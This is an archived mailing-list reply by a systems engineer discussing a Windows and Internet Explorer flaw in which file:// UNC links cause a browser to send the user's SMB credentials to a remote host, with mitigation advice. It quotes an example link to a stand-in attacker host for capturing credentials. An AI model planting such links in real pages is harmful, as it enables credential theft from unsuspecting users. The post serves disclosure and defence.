Re: Internet Explorer file:// URL issues

[thomas.rowe () bankofamerica com]

Chad Loder <cloder () acm org> wrote:

Snip

> What's even MORE menacing to me is that UNC paths can
> include references to file shares on remote computers
> (on the local LAN *or* on the Internet) e.g.:

> file://\\trojan.evil.com\HACKME

> When Windows tries to open UNC paths like that, by
> default it sends the current user's credentials to that
> remote host via NetBIOS. So the end result is, any page
> on the internet can cause your browser to redirect to
> an arbitrary remote NetBIOS host, which causes your credentials
> to be sent to that host. The host can be a Trojan which
> simply cracks SMB credentials and pairs them with IP
> addresses.

Snip

This particular breach has been around since before NT SP2. Arron Spangler
found it when working at the University of Washington (I think it was). He
named it IE Exploit#4.
He even had a demo site up that you could connect to and it would list the
last 20 ID's and first 3 characters of the users' passwords. MS has known
about it since then, apparently they haven't fixed it. Their reply to him
was that it wasn't a big issue because the passwords were encrypted.
You can block this *particular* exploit by blocking NetBios traffic at your
router or firewall. You can *not* stop it at the client machine by blocking
or not installing NetBios. You *must* disable the WINS device in the devices
list. Unfortunately, you can't use DHCP unless WINS is enabled, even if you
aren't using a WINS server. I've tested this up through SP4 on NT. IE and
Netscape are both vulnerable to it. The Opera browser doesn't appear to
allow it to happen (at least the version I tested in '98).

What's even more alarming is that while verifying this exploit while working
at the University of Wisconsin I got in touch with IBM to see if they had
plans for a full DHCP client for Windows (I was using Warp Server with
WinNT4 clients and using IBM's DHCP module). In explaining my request I gave
them the info on the exploit. A week later I got a call back from an
engineer in Raleigh, NC saying he had bad news. He told me it was quite easy
to make a few modifications and work the exploit over straight IP, with no
need for NetBios of TCP/IP or NetBios. So it's quite likely that a firewall
won't protect you, though I haven't tested this.

IMO this all stems from MS's silly insistence that you not see any
difference between local resources, LAN shares and Internet shares. No one
will ever convince me that a client machine should try to log on to a server
or share without your explicit permission. IBM has/had an excellent
beginning in their Single SignOn code shipped in OS/2, though as usual they
didn't take it anywhere and let it languish. On the first attempt it would
ask your permission to attempt to connect to a share, and you could let it
know if you wanted it to always sign on after that, or always prompt you for
that particular share.
Cheers.

Opinions expressed here are my own...well, ok, not my employer's anyway.


Thomas Rowe
Systems Engineer
Bank of America
Atlanta, GA